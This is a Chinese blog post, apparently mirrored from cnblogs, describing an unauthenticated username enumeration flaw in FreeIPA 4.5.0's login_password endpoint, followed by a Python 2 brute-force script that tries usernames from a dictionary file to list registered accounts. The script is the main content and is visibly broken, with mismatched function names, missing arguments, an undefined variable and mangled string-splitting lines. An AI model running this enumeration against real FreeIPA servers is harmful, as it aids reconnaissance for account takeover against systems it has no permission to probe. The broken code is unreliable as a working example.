zoukankan      html  css  js  c++  java
  • freeipa未授权遍历注册账户漏洞

    一、freeipa简介:

    freeipa是一款集成的安全信息管理解决方案。freeipa包含Linux (Fedora),389 Directory Server MIT Kerberos, NTP, DNS, Dogtag (Certificate System)等等身份,认证和策略功能。freeipa还集成了ldap+Kerberos(Kerberos 认证原理不多说,简单的说就是在身份认证的时候不传输密码,而是在传输票据,更加安全可靠)+web管理的集中式用户认证管理系统(系统级别的sso,可以对apache,ftp,nfs,ldap,smtp ,ssh做身份认证。但是对samba 的身份认证不支持。samba貌似只支持AD),同时还可以与微软的AD进行用户信息的同步。

    二、freeip漏洞环境:

    1、版本:4.5.0

    2、漏洞点(URL):https://target_ip/ipa/session/login_password

    3、漏洞原理:登录页面对于用户名字段的验证存在查库行为,user是否在库中的结果信息反回到了前端。

    4、登录需求:不需要登录。

    三、漏洞验证

    第一张图验证不存在的账户

    第二张图验证存在的账户

    可以写一个脚本来跑出所有注册用户:

     1  -*- coding:utf-8 -*-
     2 '''
     3 freeipa注册账户描爆破测试脚本
     4 freeipa版本 4.5.0
     5 '''
     6 
     7 #引入包文件:
     8 import sys
     9 import time
    10 import requests
    11 
    12 #全局变量定义:
    13 header_struct = {
    14     "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0",
    15     "Referer": "https://%s/ipa/ui/",
    16     "X-Requested-With": "XMLHttpRequest",
    17 }
    18 
    19 post_data = {"user":"","password":"just so so"}
    20 username_dict = "./username.txt"
    21 username_list = []
    22 
    23 #全局函数定义:
    24 def username_list_init_from_file():
    25     """从用户名字典文件中获取用户名"""
    26     with open(username_dict,"r") as fr:
    27         for line in fr.readlines():
    28             line = line.split("
    ")[0].split("
    ")[0]
    29             username_list.append(line)
    30 
    31 def send_crack_packet(username,target):
    32     """发送爆破登录请求报文"""
    33     global post_data
    34     global header_struct
    35     url = "https://%s/ipa/session/login_password"%str(target)
    36     header_struct["referer"] = header_struct["referer"]%str(target)
    37     post_data["username"] = username
    38     try:
    39         response = requests.post(url,headers=header_struct,data=post_data,verify=False)
    40     except Exception,ex:
    41         print ex
    42         return False
    43     if response.content.find("Password incorrect while getting initial credentials") >= 0:
    44         return True
    45     else:
    46         return False
    47 
    48 def crack(target):
    49     """遍历用户名字典,尝试破解"""
    50     for user in username_list:
    51         if send_crack_packet(user):
    52             print "Cracked!"
    53             print "Find a register user! Username:",pswd
    54 
    55 if __name__ == "__main__":
    56     target = sys.argv[1]
    57     user_list_init_from_file()
    58     crack(target)
  • 相关阅读:
    springboot笔记
    SpringBoot
    SpringBoot整合JPA
    Docker
    SpringMVC学习04:异常处理和拦截器
    SpringMVC学习03:文件上传
    SpringMVC学习02:响应数据和结果视图
    Mybatis学习04
    【java基础】初步理解面向对象、类、对象
    【Java基础】方法的重载
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8427882.html
Copyright © 2011-2022 走看看